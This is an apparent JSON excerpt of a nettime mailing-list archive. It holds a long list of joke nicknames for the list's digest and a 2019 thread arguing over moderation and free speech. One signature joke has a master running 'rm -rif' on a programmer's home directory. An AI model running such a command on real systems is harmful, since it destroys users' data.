                        "content": "\nof extreme interest, re the nudge-horizon of compression/containment\n\nOn Fri, 6 Sep 2019, tbyfield wrote:\n\n(I just dug this up -- maybe of interest.)\n\n- - - - - - - - - - - - 8< SNIP! 8< - A- - - - - - - - - - -\n\nTo: nettime-l@kein.org\nSubject: <nettime> digestion digest\nFrom: nettime mod squad <nettime@kein.org>\nDate: Mon, 19 Jan 2015 06:27:37 +0100\n\nAs nettime comes up on its twentieth birthday, we've started looking\nback at what happened. What follows is a nearly complete list of more\nthan 700 different identities we've given to nettime's digest function\nover the last 16+ years.\n\nCheers,\nthe mod squad\n(Ted and Felix)\n\n\nnettime's.sorry\nnettime's(.bash)_history\nnettime's_ _\nnettime's_ _ again\nnettime's_ roving_reporter\nnettime's___\nnettime's____________\nnettime's_________________\nnettime's__grand_inquisitor\nnettime's_--------_detector\nnettime's_...wait...oh my god! it's alive!\nnettime's_'r'_critic\nnettime's_(anti)?thetical_synthesizer\nnettime's_(g)?lo(b|c)al_pundit\nnettime's_|<0u||+3r-.*\nnettime's_1337ologist\nnettime's_31337_h!5+0r!4||\nnettime's_911_compiler\nnettime's academy\nnettime's accelerated cycles\nnettime's accountants\nnettime's_active_digestresse\nnettime's_adding_machine\nnettime's_akademik_zensor\nnettime's_alarmist\nnettime's alias\nnettime's_american_friend\nnettime's_anal_editor\nnettime's_anal-retentive-book-editor/librarian\nnettime's_AND_gate\nnettime's_annaliste\nnettime's_annotation_line\nnettime's announcer\nnettime's_anonymizer\nnettime's_anonymizing_service\nnettime's anonymous coward\nnettime's_anonymous_login\nnettime's_anti_war_dig\nnettime's_antithesis\nnettime's_api\nnettime's_appraisal_committee\nnettime's_arbiter_of_taste\nnettime's archivist\nnettime's_armchair_historian\nnettime's_ascii_infidel\nnettime's_asciimilator\nnettime's_assimilationist_system\nnettime's_attivatore\nnettime's_autoimmune_system\nnettime's_automaton\nnettime's avid crossposter\nnettime's avid gift giver\nnettime's avid law reader\nnettime's avid reader\nnettime's avid review reader\nnettime's_avid_reader\nnettime's_b00xw0rm\nnettime's_B1FF!!!\nnettime's_babelfish\nnettime's bable fish\nnettime's_balancing_act\nnettime's_barcode_reader\nnettime's_barker\nnettime's_barking_dialogist\nnettime's_bartleby\nnettime's_basic_visual_script\nnettime's_bean_counter\nnettime's_beancounter\nnettime's_bear\nnettime's bifurcated tuber\nnettime's_big_thumb\nnettime's_bird_watchers\nnettime's blockwart\nnettime's_bloggee\nnettime's_BMOC\nnettime's_body_politic\nnettime's_border_reporter\nnettime's_bored_summer_intern\nnettime's broken pumps\nnettime's_broken_record\nnettime's_bullshit_detector\nnettime's_burning_man\nnettime's_busy_reader\nnettime's_butcher\nnettime's_butlins\nnettime's_c-spammer\nnettime's_cache\nnettime's_caching_proxy\nnettime's cage aux trolls\nnettime's calculating machine\nnettime's_captive_audience\nnettime's_car_warrespondent\nnettime's caring parent\nnettime's cartoonist\nnettime's cash hoard\nnettime's_cashier\nnettime's_center\nnettime's_centrist_urge\nnettime's_cgi_joe\nnettime's_charterhouse\nnettime's_chatterbox\nnettime's_cheeseburger_to_go!\nnettime's_chronicler\nnettime's_chronological_digesta\nnettime's_circle_jerk\nnettime's_clerk\nnettime's closed\nnettime's_closet_case\nnettime's coin box\nnettime's_collection_service\nnettime's collective\nnettime's collective theorists\nnettime's_collective_brain\nnettime's_colostomy_bag\nnettime's compiler\nnettime's_compiler\nnettime's_compression_algorithm\nnettime's compulsive gamer\nnettime's_conditional_dig\nnettime's confused ontologist\nnettime's_conscientious_digestor\nnettime's_convergence_center\nnettime's copy editor\nnettime's_counter_counter_counter_something\nnettime's_counterimagineer\nnettime's_counterspam_kr!k!t\nnettime's_CPA\nnettime's crew of janitors\nnettime's critic of the critic\nnettime's crooked dealer\nnettime's_crusher\nnettime's_crystal_ball\nnettime's cuban middle\nnettime's_cud_chewer\nnettime's cultural\nnettime's curator\nnettime's_d-di-di-digestive_s-s-system\nnettime's_d-spammer\nnettime's_dataminer\nnettime's de-terminator\nnettime's_deadman_switch\nnettime's deaf reader\nnettime's_debabelizer\nnettime's_decider\nnettime's decoder\nnettime's_deep_sea_diver\nnettime's_deficit_disorder\nnettime's_deja-vu\nnettime's_delayed_response\nnettime's_delete_key\nnettime's_delp_hesk\nnettime's_demultitudinizer\nnettime's_depth_charge\nnettime's_designative_dig\nnettime's_dfh\nnettime's dialetical materialist\nnettime's_diet\nnettime's digest\nnettime's_digest\nnettime's_digest_ready_to_read\nnettime's digesta\nnettime's digester\nnettime's_digestion\nnettime's digestive system\nnettime's_digestive_system\nnettime's_digestive_system_politic\nnettime's_digestive_tract\nnettime's_digestor_of_forwarded_crises\nnettime's_digger\nnettime's director\nnettime's_discursive_constipation\nnettime's_discursive_digestive_system\nnettime's_disgestive_system\nnettime's dishonest\nnettime's disinfecta\nnettime's_disintermediation_system\nnettime's_dogcatcher\nnettime's_dom\nnettime's_dot_dot_dot\nnettime's_dot_matrix\nnettime's_doubleplusuncountercountercounterreformer\nnettime's dr doom\nnettime's_drive_thru\nnettime's_driving_force\nnettime's_dumpster_diver\nnettime's_dumptruck\nnettime's_dusty_archivist\nnettime's_dusty_cryptographer\nnettime's_easy_listener\nnettime's echo\nnettime's_eco_chamber\nnettime's_educrat\nnettime's_election_monitor\nnettime's_election_observer\nnettime's_elevator\nnettime's_elf\nnettime's_embedded_controller\nnettime's_emotional_antenna\nnettime's_empiricist\nnettime's employee of the the year\nnettime's_encoder_ring\nnettime's_enforcer\nnettime's_enigma\nnettime's_entropist\nnettime's_epicyclical\nnettime's_equalizer\nnettime's_eternal_carriage_return\nnettime's_eternal_return\nnettime's_ethereal_list-0//N3R!!!\nnettime's_evil_antimatter_twin\nnettime's_excursion_trip\nnettime's_exorcist\nnettime's explation of evil\nnettime's_extortionst\nnettime's_f4sc!zt_z3nz0r!!!\nnettime's_factotum\nnettime's fake shop\nnettime's false digest\nnettime's farm hand\nnettime's_fasc!st_zenzor\nnettime's_fellow_traveler\nnettime's_fency_activists\nnettime's_ferryman\nnettime's fetters\nnettime's_fickle_customer\nnettime's filosofer\nnettime's filter\nnettime's_fingerpuppet\nnettime's_firetrap\nnettime's_flame_warrior\nnettime's_flamethrower\nnettime's_flametrader\nnettime's_flashometer_I\nnettime's_flashometer_II\nnettime's_flashometer_III\nnettime's_flashometer_IV\nnettime's_fly_on_the_wall\nnettime's_flying_birthday_committee\nnettime's_focus_group\nnettime's_FOIA_filer\nnettime's_fold\nnettime's font checker\nnettime's_forbidden_city\nnettime's foreign\nnettime's_foreign_correspondent\nnettime's_foreign_exchange\nnettime's_forgetful_historian\nnettime's_fork_lift\nnettime's_fork()_lift\nnettime's_forking_tendencies\nnettime's_fortean\nnettime's_forth_reichian\nnettime's_free_gateway\nnettime's_frenemy\nnettime's frequent flyer\nnettime's friendly community\nnettime's_fruit_machine\nnettime's_fun_raiser\nnettime's funeral\nnettime's_furrin_exchange\nnettime's_gal_friday\nnettime's_gang\nnettime's_gardener\nnettime's_gasoholic\nnettime's_gatekeeper\nnettime's_geheimnissicherheitsdienst\nnettime's_generator\nnettime's_geodesic_structure\nnettime's_geowanker\nnettime's_ghost_of_net.art.past\nnettime's_gilded_cage\nnettime's_global\nnettime's_globetrotter\nnettime's gnu\nnettime's_gnu\nnettime's_gopher\nnettime's_gran_fury\nnettime's_groupuscule\nnettime's_grunt\nnettime's_guy_in_the_white_coat\nnettime's_H0AX0R\nnettime's_hackumentarist\nnettime's hand compiler\nnettime's handy\nnettime's_hawk(er)\nnettime's help desk\nnettime's_helpdesk\nnettime's helpers\nnettime's_hidden_hand\nnettime's_high-level_scriptor\nnettime's historian\nnettime's historical fader\nnettime's_historical_conciousness\nnettime's honest thief\nnettime's_hoover\nnettime's_human_face\nnettime's_hungry_ego\nnettime's_hyperpower\nnettime's hypocrite\nnettime's_idle_worshiper\nnettime's_immod\nnettime's inauthentic digest\nnettime's_incorporator\nnettime's_incredible_shrinking_man\nnettime's_indeterminate_temporary_layover\nnettime's_indexical_utterance\nnettime's_indigestive_system\nnettime's infatigable cartoonists\nnettime's_infernal_machinist\nnettime's_influencing_machine\nnettime's inner workings revealed\nnettime's_inquiring_minds\nnettime's_inside_trader\nnettime's_inspector\nnettime's_institutional_critic\nnettime's_institutional_memory\nnettime's_institutional_review_board\nnettime's_integrator\nnettime's_interactive_indeigestion\nnettime's internet didgest\nnettime's internet digest\nnettime's_intruder_alert\nnettime's_isla_bonita\nnettime's italian digest\nnettime's_janitor\nnettime's janitors\nnettime's_janitors\nnettime's jukebox\nnettime's juvenile digesta\nnettime's_kelly_girl\nnettime's_keyboard_potato\nnettime's knitting factory\nnettime's_knuckle_rapa\nnettime's_kompressor\nnettime's_kontent_kreator\nnettime's_kranky_kong\nnettime's_krusty krab\nnettime's_lamarckian\nnettime's_lazy_bastard\nnettime's_left_coaster\nnettime's_legal_dictionary\nnettime's_legal_workshop\nnettime's_letter_editor\nnettime's_lettrist\nnettime's_licensee\nnettime's_lifelong_learner\nnettime's literary\nnettime's_little_birdie\nnettime's_little_helper\nnettime's_lonely_crowd\nnettime's_loss_leader\nnettime's lottery\nnettime's lunar digest\nnettime's_m9nd_kontainer\nnettime's mad digestion\nnettime's_mail_h4x0r!!!\nnettime's mailman\nnettime's_MailRank[tm]\nnettime's_maitre_d\nnettime's_malcontent\nnettime's_man_behind_the_curtain\nnettime's_man_in_caracas\nnettime's_mandibular_function\nnettime's manifesto control\nnettime's_mann_ohne_eigenschaften\nnettime's manual\nnettime's marginal protester\nnettime's_market_analyst\nnettime's_mathemagical_thematist\nnettime's mechanical\nnettime's media\nnettime's media art\nnettime's_media_asset\nnettime's_media_consultant\nnettime's_media_magnate\nnettime's_meme_chose\nnettime's_mercurial_editor\nnettime's message screener\nnettime's message splicer\nnettime's_message_recoverer\nnettime's_messenger\nnettime's meta\nnettime's_metaphorical_archaeologist\nnettime's_methodological_referee\nnettime's middle\nnettime's mini-digestion\nnettime's miscellany\nnettime's miser\nnettime's_mixmaster\nnettime's_mod_squad\nnettime's_moderators\nnettime's_monkey_in_the_middle\nnettime's_moot_court\nnettime's_movement_of_movements\nnettime's_mr._mole\nnettime's_mullahs\nnettime's muscle critics\nnettime's_mytho-robo-poesis\nnettime's_nanny\nnettime's_nano_pico_femto_atto_zepto_yocto\nnettime's_national_conscience\nnettime's_natura_naturans\nnettime's_nettimers\nnettime's_new_man\nnettime's_new_yawker\nnettime's_new_yorker\nnettime's_newsprint_recycler\nnettime's_newsreader\nnettime's_no-mission_digger\nnettime's noise\nnettime's noise filter\nnettime's not so bitter digester\nnettime's_notebook\nnettime's_nutty_professor\nnettime's_observer\nnettime's_occupational_therapist\nnettime's_occupier\nnettime's_od_2\nnettime's_offsite_archivist\nnettime's_oil_futurist\nnettime's_old_economy\nnettime's_old_world\nnettime's_ombudsman\nnettime's on/off connector\nnettime's one\nnettime's one line collector\nnettime's ontological apparatus\nnettime's_open_EAR\nnettime's_openspammer\nnettime's_opinion_contraption\nnettime's_opinion_digga\nnettime's_opportunity_adviser\nnettime's_optimo-pessimist\nnettime's_oracle\nnettime's_orchid_man\nnettime's_organic_alien\nnettime's_organization_man\nnettime's overload\nnettime's_overload_manager\nnettime's_oversharer\nnettime's_overworked_cleanup_crew\nnettime's_pac-man\nnettime's packet packer\nnettime's_paper_pusher\nnettime's_paperboy\nnettime's_para_normalist\nnettime's_parallel_processor\nnettime's paranoid reader\nnettime's parasites\nnettime's_parliament\nnettime's party goer\nnettime's_password_protection\nnettime's_paymaster\nnettime's_peanut_gallerist\nnettime's_pen_pal\nnettime's_permadjunct\nnettime's pilot light\nnettime's ping pong\nnettime's_pinhole\nnettime's_pizza_delivery\nnettime's plumber\nnettime's poet\nnettime's_point_n_clicktivist\nnettime's_policy_wonk\nnettime's_possessive\nnettime's_post_traumatic_manageress\nnettime's post-collective\nnettime's post-election analyst\nnettime's_postal_inspektor\nnettime's_poster_child\nnettime's_pretzel_historian\nnettime's_primal_scenester\nnettime's_prior_artist\nnettime's_prior_artists\nnettime's_privatization_authority\nnettime's_probiotic_brigade\nnettime's_psychocartographer\nnettime's_psychoceramicist\nnettime's publisher\nnettime's_qualitative_easing\nnettime's_qualquant\nnettime's_quasilegal\nnettime's_raised_hackles\nnettime's_random_telegram\nnettime's re tracer\nnettime's_Re_Re_Re\nnettime's_read_write_head\nnettime's reading list?\nnettime's_realtime_compression_lib\nnettime's_recapitator\nnettime's_recombinant\nnettime's_recomposer\nnettime's_recount\nnettime's_reductionist\nnettime's refugee digestive\nnettime's refugee in Australia\nnettime's_regional_reporter\nnettime's_regulator\nnettime's_rejection_letter\nnettime's relocator\nnettime's_reluctant_CNN_simulator\nnettime's remixer\nnettime's_remote_control\nnettime's_rescue_squad\nnettime's_research_assistant\nnettime's_resource_allocator\nnettime's_restaurant_reviewer\nnettime's_retabulator\nnettime's_retort\nnettime's_retrospective_system\nnettime's reversal\nnettime's_review_process\nnettime's rights manager\nnettime's riot observer\nnettime's_roboconnoisseur\nnettime's_robots.txt\nnettime's_rocket_scientist\nnettime's_role_player\nnettime's_rotating_moderators\nnettime's_roundup\nnettime's_rovering_reporter\nnettime's roving correspondent\nnettime's roving reporter\nnettime's_roving_correspondent\nnettime's_roving_journalist\nnettime's_roving_primatologist\nnettime's_roving_raver\nnettime's_roving_reader\nnettime's_roving_reporter\nnettime's_roving_reporter\"\nnettime's_roving_reporters\nnettime's_roving_rerereporter\nnettime's_roving_subscriber\nnettime's rovink reporter\nnettime's_rovink_reporter\nnettime's royal scribe\nnettime's_rubbish_brigade\nnettime's_ruling_robert\nnettime's_ruminant\nnettime's_ruminator\nnettime's_rumor_monger\nnettime's_rumormonger\nnettime's_running_man\nnettime's_s'emitten\nnettime's sad reader\nnettime's_sad_forwarder\nnettime's salon economist\nnettime's_sameness_engine\nnettime's_satire_dig\nnettime's_saturday_morning_cartoon\nnettime's_sausage_machine\nnettime's_script_kiddie\nnettime's_secret_santa\nnettime's_seeder\nnettime's_sekrit_dekoding_ring\nnettime's_self-cleaning oven\nnettime's_self-digestive_system\nnettime's semantic descrambler\nnettime's_senior_bastard\nnettime's_sensible_sorta\nnettime's_sensor\nnettime's_septuabotanist\nnettime's_server_in_return\nnettime's service industry\nnettime's_shadowy_connection\nnettime's shop\nnettime's_short_fuse\nnettime's_shrugging_atlas\nnettime's_signalisa\nnettime's signalist\nnettime's_sistema_indigestivo\nnettime's_six_steps_back\nnettime's_skeptical_inquirer\nnettime's_slouch\nnettime's_slovene_detranslator\nnettime's_slovene_philosopher\nnettime's smart reader\nnettime's_smoke_signal\nnettime's social being\nnettime's_social_alchemist\nnettime's_solar_anus\nnettime's_solvent\nnettime's spam kr!t!k\nnettime's spam kritik\nnettime's spam reader\nnettime's_spam_archivist\nnettime's_spam_connoisseur\nnettime's_spam_filter\nnettime's_spam_inspector\nnettime's_spam_kr!k!t\nnettime's_spam_kritik\nnettime's_spamkrikit\nnettime's_spamkritik\nnettime's_spamkurator\nnettime's_speculator\nnettime's_speed_demon\nnettime's spell\nnettime's_spokesmodel\nnettime's_spreada\nnettime's_spring_cleaner\nnettime's_stable_boy\nnettime's_star_chamber\nnettime's_storm_system\nnettime's_streamlinegram\nnettime's_street_historian\nnettime's_strongman\nnettime's_subject_line_kritik\nnettime's_subtractor\nnettime's_sudden_turn\nnettime's_suggestion_boxer\nnettime's_sunny_countenance\nnettime's_superliminalist\nnettime's_support_group\nnettime's_support_line\nnettime's_supportive_frontliners\nnettime's_sustainable_ethic\nnettime's suv driver\nnettime's_sweatshop\nnettime's sweaty\nnettime's_swing_state\nnettime's swiss arbiter\nnettime's_syllabary\nnettime's_symbolic_formalist\nnettime's_symboliste\nnettime's_symptomatic_corresponda\nnettime's_symptomatic_distincta\nnettime's_syncretic_materialist\nnettime's_synthesist\nnettime's_synthetic_system\nnettime's_t[ext]j_spooky\nnettime's_tcp_rapper\nnettime's_tensegrity_structure\nnettime's terrorism think tank\nnettime's_teta_bester\nnettime's_theoretical_potato\nnettime's_thermodynamic_principle\nnettime's_thinktank\nnettime's_third_thumb\nnettime's three is a crowd\nnettime's_three_tumbs\nnettime's_throughput\nnettime's_ticker\nnettime's_ticket_collector\nnettime's_ticket_source\nnettime's_time-to-live\nnettime's_timekeeper\nnettime's_tin_cup\nnettime's tired\nnettime's_tireless_reporter\nnettime's_toolbox_repairshop\nnettime's_topiary.artist\nnettime's_tough_digesta\nnettime's_tout\nnettime's_toy_canon\nnettime's_toy_system\nnettime's_transmittress\nnettime's travel agency\nnettime's_trigestive_system\nnettime's_troll\nnettime's_trololo_guy\nnettime's troublemaker\nnettime's true believer\nnettime's_truth-breaking_news-evaluator\nnettime's_tuesday_welder\nnettime's_turnabout\nnettime's_two_steps_forward\nnettime's typographers\nnettime's_u1tra_B1FF\nnettime's ueber vectoralist\nnettime's uebertranzi\nnettime's umpire\nnettime's_un-american_committee\nnettime's_uncola\nnettime's_uncola_drinker\nnettime's_undertaker\nnettime's unpaid curatorial staff\nnettime's_unpaid_curator\nnettime's_untouchable\nnettime's unwaged censor\nnettime's upset stomac\nnettime's_ur-member\nnettime's_uuencoder\nnettime's_vapor_trail\nnettime's very avid reader\nnettime's_village_gossip\nnettime's_village_green_society\nnettime's virtual coin box\nnettime's_virtual_infectress\nnettime's_walrus_and_carpenter\nnettime's_war_weary\nnettime's_waterloo_monger\nnettime's_weakest_link\nnettime's_whatever\nnettime's white collar\nnettime's_wiczfinder_general_plus\nnettime's_wilderness_of_mirrors\nnettime's Winston Smith\nnettime's_wire_service\nnettime's_wireless_transceiver\nnettime's_woomera_link\nnettime's word police\nnettime's_word-processor\nnettime's_words_fail_me\nnettime's_world_system\nnettime's wrappa\nnettime's_WTO_reporter\nnettime's_xor\nnettime's year end charity\nnettime's_yes_women(?!)_spam_kr!k!t(?!)\nnettime's_yo_dawg\nnettime's_zentral_kommittee\nnettime's_zombie_process\nnettime's_ztandup_komedian\n\n- - - - - - - - - - - - 8< SNIP! 8< - - - - - - - - - - - -\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n\nweb http://www.alansondheim.org / cell 347-383-8552\ncurrent text http://www.alansondheim.org/wj.txt\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                        "id": "00040",
                        "date": "Fri, 6 Sep 2019 11:19:04 -0400 (EDT)",
                        "to": "tbyfield <tbyfield@panix.com>",
                        "message-id": "alpine.NEB.2.21.1909061118120.19565@panix3.panix.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00040.html",
                        "content-type": "text/plai",
                        "author_name": "Alan Sondheim",
                        "subject": "Re: <nettime> nettime past and futur"
                    }
                ],
                "message-id": "5D2EC0ED&#45;37EF&#45;43C7&#45;BFCC&#45;9B5E7B31F12C@panix.com",
                "date": "Fri, 06 Sep 2019 17:00:07 +0200",
                "content-type": "text/plai"
            },
            {
                "id": "00010",
                "content": "OK, I'll bite, as someone who has posted much less than others, but been a member forever.\n\nThis new policy as is as shallow and milquetoast as YouTube's reluctance to ban actual nazis, misogynists and white supremacists from its platform and all the subsequent mess that has been roiling social media over the last week.\n\nNow, there aren't too many outright types of these people on nettime (a few, like Morlock and others) but this consistent bourgeois misunderstanding of contextless \"free speech\" and a libertarian fetish for nonintervention is really galling, especially on a list that strives hard to understand the social and political and ideological underpinnings of what is ostensibly neutral (eg technology).\n\nI urge you to actually start moderating again.\n\nFrank.\n\n\n----- Original message -----\nFrom: \"nettime mod squad - nettime@kein.org\" <frank.tigrero.c15353ac72.nettime#kein.org@ob.0sg.net>\nTo: nettime-l@kein.org\nSubject: <nettime> Nettime is in bad shape. Let's see if we can change it.\nDate: Friday, June 07, 2019 10:41 AM\n\nNettime is in bad shape, don't you think?\n\nIt has still a lot of goodwill, and more generally there's renewed\ninterest in formats of exchange and collective thinking that\naren't defined by the logic of social media. But the dynamics that\nsocial media companies exploit are hardly limited to a handful of\nplatforms. For example, nettime has its own 'influencers' -- a 1%,\nso to speak -- who generate the vast majority of list traffic.\nThat's been true for years. The discussions they sustain may\nvariously seem interesting or annoying, but either way they've\nbecome somewhat formulaic. An attentive reader knows more or less\nwhat to expect based solely the subject and the sender; and even\nmeta-discussions about whether the list is dominated or by this or\nthat tendency are largely dominated by the same few people.\n\nSome might argue the debates that have animated nettime over the\nlast year -- the trajectories of postwar society, neoliberalism,\nthe 'digital,' complexity, surveillance and big tech, Brexit,\nmedia and elections, Assange, even the Anthropocene in all its\nterrifying inclusiveness -- are the defining issues of the day.\nMaybe so. But if the nettime project had settled for a consensus\nmodel of the defining issues of the mid-'90s, it would never have\ngotten off the ground, and it certainly wouldn't exist almost 25\nyears later. The challenge, we think, is to maintain a space that\nattracts ill-defined ideas and uncertain issues -- things and\nnot-things that don't quite exist yet and yet haven't been buried\nunder torrents of authority and theory.\n\nSo, what can we do?\n\nIn the past, we've asked people to think about outreach -- say,\ninviting new people from new contexts. It seems like that's had\nlimited success; but at a time when nettime has been limping\nalong, it's hard to get excited about inviting people to join an\nenvironment so heavily defined by habit. We've also joked that\nshutting it down before it fades into complete senescence might be\nbest. But that joke wasn't really funny, in part because it wasn't\nmeant to be: it was a way of expressing serious concerns about the\nlist's increasingly parochial status.\n\nNow, we have a simple proposal: let's switch roles.\n\nIt goes like this:\n\nIf you've posted more than others to the list in the last 60 or 90\nor 120 or 180 days -- the math matters less than the spirit -- take\na break. Let others define nettime, a space made up of nearly 5000\nsubscribers.\n\nIf you haven't posted to the list -- say, because it seemed like\nyour ideas, concerns, or whatever you want to share wouldn't fit\nwith nettime's habits -- maybe that will change.\n\nThink of it as an un-grand experiment: a way to see what else\nmight happen, who else might speak, what less familiar ideas,\nperspectives, or styles might spring up. Maybe the list will fade\ninto silence, and we'll be left with a paradoxical object, a list\ncomposed *entirely* of lurkers -- not such a bad non-end for\nnettime. Or maybe not. There might be many ways to find out. For\nnow, rather than the 1% debating how narrowly to define good\nmanners, let's see if a different 'we' can change things.\n\n\n-- the mod squad (Ted and Felix)\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                "to": "nettime-l@mail.kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00010.html",
                "list": "nettime_l",
                "author_name": "frank tigrero",
                "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit.",
                "from": "\"frank tigrero\" <frank.20.tigrero@xoxy.net>",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "from": "John Young <jya@pipeline.com>",
                                "content": "Low-poster, relative newcomer, appreciator of what nettime allows, \nconfesses hazards of doctrinaire free speech since 1992:\n\n1. Got kicked off several fora for annoying, angering, pissing off moderators.\n2. Got kicked off Twitter for violating ToS, fingered family members \nof Trump jackass.\n3. Got booted as moderator for allowing unfettered postings, \"too immoderate.\"\n4. Got rejected from several journalist-related fora for not being \nworthy, no commercial cred.\n5. Got accused often of \"going too far\" with publications and \nopinions, violated official secrecy.\n6. Got slew of mail-list postings rejected as being not appropriate, \nnot list-flattering.\n7. Operate unfettered mail list with about 50 subscribers, one of \nwhich posts at length.\n8. A list moderater committed assisted suicide beggng me to approve, \nwhich I refused, condemned. List now unmoderated, but almost dormant.\n9. Have always been opposed to moderation's censorship, redaction, \nprivileging, lollygagging, career-building, intolerance, \nbuttering-up, on and on, understanding those attributes are given for \nlanguage, intelligence, education, esteem, pride, ego, herding, \nchastising, excluding, prejudice, shitting on.\n\n10. Online has bred innumerable pestilential moderators, a very few \nexceptions, nearly all psychotic, god keep them from coercive control \nof their families, coleagues and subscribers.\n\n11. Here's a UK appeals court quashing murder rap of a woman who \nhammered her husband to death for \"coercive control:\"\n\nhttps://www.judiciary.uk/wp-content/uploads/2019/06/challen-approved.pdf\n\n12. Lurking is much superior to posting, leaking, confessing (mea culpa).\n\n13. Silence is free-est speech.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                                "id": "00012",
                                "date": "Fri, 07 Jun 2019 13:56:46 -0400",
                                "to": "nettime-l@mail.kein.org",
                                "message-id": "E1hZJ1q&#45;000CsD&#45;Pg@elasmtp&#45;masked.atl.sa.earthlink.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00012.html",
                                "content-type": "text/plai",
                                "author_name": "John Young",
                                "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change it."
                            },
                            {
                                "follow-up": [
                                    {
                                        "from": "\"Sascha D. Freudenheim\" <sascha@sascha.com>",
                                        "content": "Thank you, Tomasz, for chiming in.\n\nYour definitions are interesting. But if we take them as a starting \npoint, I find myself still struggling to understand Frank's intended \nput-down, as well as his complaint. This list serves no real purpose \nbeyond a kind of digital entertainment at a virtual social gathering. \nI'm not dismissing it's value in that context, but as a group (however \nloosely constructed) we are not self-consciously engaged in the active \nprocess of \"changing\" anything except our own minds through dialogue. \n(Or not changing them, as is likely often the case.)\n\nSo, Frank, if that definition of bourgeois suits you, and if you agree \nwith Tomasz's framing on the connection to free speech, then why are you \nhere?\n\nFor those of us who do live in places where speech can create \ntrouble--and no doubt many of us do, and more of us may yet soon--then \nit would seem a gratuitous swipe at the speech they post here to dismiss \nit that way -- and to suggest that the moderators are ill-equipped to \nmanage it or understand it in that context.\n\nAs for my \"feeding\" habits, indeed, quite right. If anything my media \nintake is polymorphously perverse.\n\nSascha\n\n\nOn 6/7/19 3:07 PM, Tomasz Rola wrote:\nOn Fri, Jun 07, 2019 at 01:18:23PM -0400, Sascha D. Freudenheim wrote:\nI resemble that remark, and I object to it strenuously!\n\nWTF is a \"consistent bourgeois misunderstanding of contextless 'free\nspeech'\"? And what makes that misunderstanding \"bourgeois\" in\nnature?\n\nFor me, \"bourgeois\" is equivalent to \"middle class\", whatever this one\nmeans. In parts of the world where \"bourgeois\" constitutes a dictating\nmajority, \"free speech\" is, IMHO, equivalent to casual speech and is a\nway to entertain during social gatherings. In other places, this is a\nway to put oneself in a troublesome situation (with degree of\ntroublesome varying from ostracism to execution).\n\n[...]\nAs for the ideological monoculture... I don't know what to do about\nthat except go back to my list filtering and lurking.\n\nTo avoid ideological monoculture, per analogy to avoiding eating\nmonoculture, feed yourself from different sources.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                                        "id": "00015",
                                        "date": "Fri, 7 Jun 2019 17:49:37 -0400",
                                        "to": "masz Rola <rtomek@ceti.pl>, nettime-l@mail.kein.org",
                                        "message-id": "905d82fc&#45;c5a6&#45;0145&#45;2f05&#45;78b387014e94@sascha.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00015.html",
                                        "content-type": "text/plai",
                                        "author_name": "Sascha D. Freudenheim",
                                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                                    }
                                ],
                                "from": "Tomasz Rola <rtomek@ceti.pl>",
                                "content": "On Fri, Jun 07, 2019 at 01:18:23PM -0400, Sascha D. Freudenheim wrote:\n> I resemble that remark, and I object to it strenuously!\n> \n> WTF is a \"consistent bourgeois misunderstanding of contextless 'free\n> speech'\"? And what makes that misunderstanding \"bourgeois\" in\n> nature?\n\nFor me, \"bourgeois\" is equivalent to \"middle class\", whatever this one\nmeans. In parts of the world where \"bourgeois\" constitutes a dictating\nmajority, \"free speech\" is, IMHO, equivalent to casual speech and is a\nway to entertain during social gatherings. In other places, this is a\nway to put oneself in a troublesome situation (with degree of\ntroublesome varying from ostracism to execution).\n\n[...]\n> As for the ideological monoculture... I don't know what to do about\n> that except go back to my list filtering and lurking.\n\nTo avoid ideological monoculture, per analogy to avoiding eating\nmonoculture, feed yourself from different sources.\n\n-- \nRegards,\nTomasz Rola\n\n--\n** A C programmer asked whether computer had Buddha's nature.      **\n** As the answer, master did \"rm -rif\" on the programmer's home    **\n** directory. And then the C programmer became enlightened...      **\n**                                                                 **\n** Tomasz Rola          mailto:tomasz_rola@bigfoot.com             **\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot 